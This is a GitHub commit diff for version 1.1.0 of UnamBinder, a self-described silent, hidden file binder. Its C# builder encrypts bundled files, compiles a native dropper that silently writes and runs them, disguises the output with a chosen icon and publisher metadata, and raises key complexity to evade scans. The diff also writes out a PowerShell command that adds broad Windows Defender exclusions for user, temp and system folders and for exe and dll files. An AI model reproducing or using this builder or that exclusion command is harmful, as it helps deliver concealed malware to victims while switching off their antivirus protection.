Skip to content

Commit 37fd229

Browse files
committed
Updated to v1.1.0
* Added new custom minimal MinGW64 windres resource compiler * Added new Icon and Assembly Data options using the new resource compiler * Increased key complexity to avoid general key scans * Fixed general small bugs * Optimized code
1 parent 656da96 commit 37fd229

16 files changed

+791
-65
lines changed

Diff for: CHANGELOG.md

+6
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,8 @@
1+
### v1.1.0 (12/09/2021)
2+
* Added new custom minimal MinGW64 windres resource compiler
3+
* Added new Icon and Assembly Data options using the new resource compiler
4+
* Increased key complexity to avoid general key scans
5+
* Fixed general small bugs
6+
* Optimized code
17
### v1.0.0 (09/09/2021)
28
* Initial release

Diff for: README.md

+9-2
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
11

22
<img src="https://github.com/UnamSanctam/UnamBinder/blob/master/UnamBinder.png?raw=true">
33

4-
# UnamBinder 1.0.0 - A free silent native file binder
4+
# UnamBinder 1.1.0 - A free silent native file binder
55

6-
A free silent (hidden) open source native file binder.
6+
A free silent (hidden) open-source native file binder.
77

88
## Main Features
99

@@ -12,6 +12,7 @@ A free silent (hidden) open source native file binder.
1212
* Multiple files - Supports binding any amount of files
1313
* Compatible - Supports all tested Windows version (Windows 7 to Windows 10) and all file types
1414
* Windows Defender exclusions - Can add exclusions into Windows Defender to ignore any detections from the bound files
15+
* Icon/Assembly - Supports adding an Icon and/or Assembly Data to the built file
1516

1617
## Downloads
1718

@@ -23,6 +24,12 @@ You can find the wiki [here](https://github.com/UnamSanctam/UnamBinder/wiki) or
2324

2425
## Changelog
2526

27+
### v1.1.0 (12/09/2021)
28+
* Added new custom minimal MinGW64 windres resource compiler
29+
* Added new Icon and Assembly Data options using the new resource compiler
30+
* Increased key complexity to avoid general key scans
31+
* Fixed general small bugs
32+
* Optimized code
2633
### v1.0.0 (09/09/2021)
2734
* Initial release
2835

Diff for: UnamBinder.png

983 Bytes
Loading

Diff for: UnamBinder/Builder.Designer.cs

+18-4
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

Diff for: UnamBinder/Builder.cs

+73-26
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ namespace UnamBinder
1111
public partial class Builder : Form
1212
{
1313
private static Random random = new Random();
14+
public Vanity vanity = new Vanity();
1415
private string key = RandomString(32);
1516

1617
public Builder()
@@ -20,68 +21,109 @@ public Builder()
2021

2122
public void NativeCompiler(string savePath)
2223
{
24+
key = RandomString(32);
25+
2326
string currentDirectory = Path.GetDirectoryName(savePath);
2427
string filename = Path.GetFileNameWithoutExtension(savePath) + ".c";
2528

26-
if (Directory.Exists(Path.Combine(currentDirectory, "tinycc"))) {
27-
Directory.Delete(Path.Combine(currentDirectory, "tinycc"), true);
28-
}
29-
using (ZipArchive archive = new ZipArchive(new MemoryStream(Properties.Resources.tinycc)))
29+
string compilerDirectory = Path.Combine(currentDirectory, "Compiler");
30+
if (!Directory.Exists(compilerDirectory))
3031
{
31-
archive.ExtractToDirectory(currentDirectory);
32+
using (ZipArchive archive = new ZipArchive(new MemoryStream(Properties.Resources.tinycc)))
33+
{
34+
archive.ExtractToDirectory(compilerDirectory);
35+
}
36+
using (ZipArchive archive = new ZipArchive(new MemoryStream(Properties.Resources.MinGW64)))
37+
{
38+
archive.ExtractToDirectory(compilerDirectory);
39+
}
3240
}
3341

3442
StringBuilder sb = new StringBuilder(Properties.Resources.Program1);
3543

44+
bool buildResource = (checkAdmin.Checked || vanity.checkIcon.Checked || vanity.checkAssembly.Checked);
45+
46+
if (buildResource)
47+
{
48+
StringBuilder resource = new StringBuilder(Properties.Resources.resource);
49+
string defs = "";
50+
if (vanity.checkIcon.Checked)
51+
{
52+
resource.Replace("#ICON", vanity.txtIconPath.Text);
53+
defs += " -DDefIcon";
54+
}
55+
if (checkAdmin.Checked)
56+
{
57+
System.IO.File.WriteAllBytes(Path.Combine(currentDirectory, "administrator.manifest"), Properties.Resources.administrator);
58+
defs += " -DDefAdmin";
59+
}
60+
if (vanity.checkAssembly.Checked)
61+
{
62+
resource.Replace("#TITLE", vanity.txtAssemblyTitle.Text);
63+
resource.Replace("#DESCRIPTION", vanity.txtAssemblyDescription.Text);
64+
resource.Replace("#COMPANY", vanity.txtAssemblyCompany.Text);
65+
resource.Replace("#PRODUCT", vanity.txtAssemblyProduct.Text);
66+
resource.Replace("#COPYRIGHT", vanity.txtAssemblyCopyright.Text);
67+
resource.Replace("#TRADEMARK", vanity.txtAssemblyTrademark.Text);
68+
resource.Replace("#VERSION", string.Join(",", new string[] { vanity.txtAssemblyVersion1.Text, vanity.txtAssemblyVersion2.Text, vanity.txtAssemblyVersion3.Text, vanity.txtAssemblyVersion4.Text }));
69+
defs += " -DDefAssembly";
70+
}
71+
System.IO.File.WriteAllText(Path.Combine(currentDirectory, "resource.rc"), resource.ToString());
72+
73+
Process.Start(new ProcessStartInfo
74+
{
75+
FileName = Path.Combine(compilerDirectory, "MinGW64\\bin\\windres.exe"),
76+
Arguments = "--input resource.rc --output resource.o -O coff -F pe-i386 " + defs,
77+
WorkingDirectory = currentDirectory,
78+
WindowStyle = ProcessWindowStyle.Hidden
79+
}).WaitForExit();
80+
System.IO.File.Delete(Path.Combine(currentDirectory, "resource.rc"));
81+
System.IO.File.Delete(Path.Combine(currentDirectory, "administrator.manifest"));
82+
}
83+
3684
List<string> stringarray = new List<string>();
3785
List<string> intarray = new List<string>();
3886

3987
int count = listFiles.Items.Count;
4088
for (int i = 0; i < count; i++)
4189
{
4290
File filevar = (File)listFiles.Items[i];
43-
string droplocation = filevar.comboDropLocation.Text == "Current Directory" ? "cd" : filevar.comboDropLocation.Text;
44-
byte[] filebytes = { };
4591
try
4692
{
47-
filebytes = System.IO.File.ReadAllBytes(filevar.txtBindfile.Text);
93+
byte[] filebytes = System.IO.File.ReadAllBytes(filevar.txtBindfile.Text);
94+
string filestring = Convert.ToBase64String(filebytes);
95+
stringarray.Add("{\"" + filevar.comboDropLocation.Text + "\",\"" + ToLiteral(Cipher(filevar.txtFilename.Text, key)) + "\",\"" + ToLiteral(Cipher(filestring, key)) + "\"}");
96+
intarray.Add("{" + filevar.txtFilename.Text.Length + "," + (filevar.toggleExecute.Checked ? "1" : "0") + "," + filestring.Length + "," + filebytes.Length + "," + (filevar.toggleHideWindow.Checked ? "1" : "0") + "}");
4897
}
4998
catch
5099
{
51100
MessageBox.Show("Could not read the file: " + filevar.txtBindfile.Text + ", make sure that the file exists and that the path is correct.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
52101
return;
53102
}
54-
string filestring = Convert.ToBase64String(filebytes);
55-
stringarray.Add("{\"" + droplocation + "\",\"" + ToLiteral(Cipher(filevar.txtFilename.Text, key)) + "\",\"" + ToLiteral(Cipher(filestring, key)) + "\"}");
56-
intarray.Add("{" + filevar.txtFilename.Text.Length + "," + (filevar.toggleExecute.Checked ? "1" : "0") + "," + filestring.Length + "," + filebytes.Length + "," + (filevar.toggleHideWindow.Checked ? "1" : "0") + "}");
57103
}
58104

59-
if (checkAdmin.Checked)
60-
{
61-
sb.Replace("DefWD", "TRUE");
62-
CipherReplace(sb, "#WDCOMMAND", "cmd /c powershell -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force & powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force & exit");
63-
System.IO.File.WriteAllBytes(Path.Combine(currentDirectory, "manifest.o"), Properties.Resources.manifest);
64-
}
65105
sb.Replace("#ARRAYCOUNT", count.ToString());
66106
sb.Replace("#STRINGARRAY", string.Join(",", stringarray));
67107
sb.Replace("#INTARRAY", string.Join(",", intarray));
68108
sb.Replace("#KEY", key);
69109

110+
if (checkWD.Checked)
111+
{
112+
sb.Replace("DefWD", "TRUE");
113+
CipherReplace(sb, "#WDCOMMAND", "cmd /c powershell -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force & powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force & exit");
114+
}
115+
70116
System.IO.File.WriteAllText(Path.Combine(currentDirectory, filename), sb.ToString());
71117
Process.Start(new ProcessStartInfo
72118
{
73-
FileName = Path.Combine(currentDirectory, "tinycc\\tcc.exe"),
74-
Arguments = "-Wall -Wl,-subsystem=windows \"" + filename + "\" " + (checkAdmin.Checked ? "manifest.o" : "") + " -luser32 -m32",
119+
FileName = Path.Combine(compilerDirectory, "tinycc\\tcc.exe"),
120+
Arguments = "-Wall -Wl,-subsystem=windows \"" + filename + "\" " + (buildResource ? "resource.o" : "") + " -luser32 -m32",
75121
WorkingDirectory = currentDirectory,
76122
WindowStyle = ProcessWindowStyle.Hidden
77123
}).WaitForExit();
78124

79-
System.IO.File.Delete(Path.Combine(currentDirectory, "manifest.o"));
125+
System.IO.File.Delete(Path.Combine(currentDirectory, "resource.o"));
80126
System.IO.File.Delete(Path.Combine(currentDirectory, filename));
81-
if (Directory.Exists(Path.Combine(currentDirectory, "tinycc")))
82-
{
83-
Directory.Delete(Path.Combine(currentDirectory, "tinycc"), true);
84-
}
85127
}
86128

87129
public void CipherReplace(StringBuilder source, string id, string value)
@@ -92,8 +134,8 @@ public void CipherReplace(StringBuilder source, string id, string value)
92134

93135
public static string RandomString(int length)
94136
{
95-
const string chars = "abcdefghijklmnpqrstuvwxyz0123456789";
96-
const int clength = 35;
137+
const string chars = "abcdefghijklmnpqrstuvwxyz0123456789!$&()*+,-./:<=>@[]^_";
138+
const int clength = 55;
97139
var buffer = new char[length];
98140
for (var i = 0; i < length; ++i)
99141
{
@@ -191,5 +233,10 @@ private void btnBuild_Click(object sender, EventArgs e)
191233
NativeCompiler(save);
192234
}
193235
}
236+
237+
private void btnVanity_Click(object sender, EventArgs e)
238+
{
239+
vanity.Show();
240+
}
194241
}
195242
}

Diff for: UnamBinder/File.Designer.cs

+6-6
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
 (0)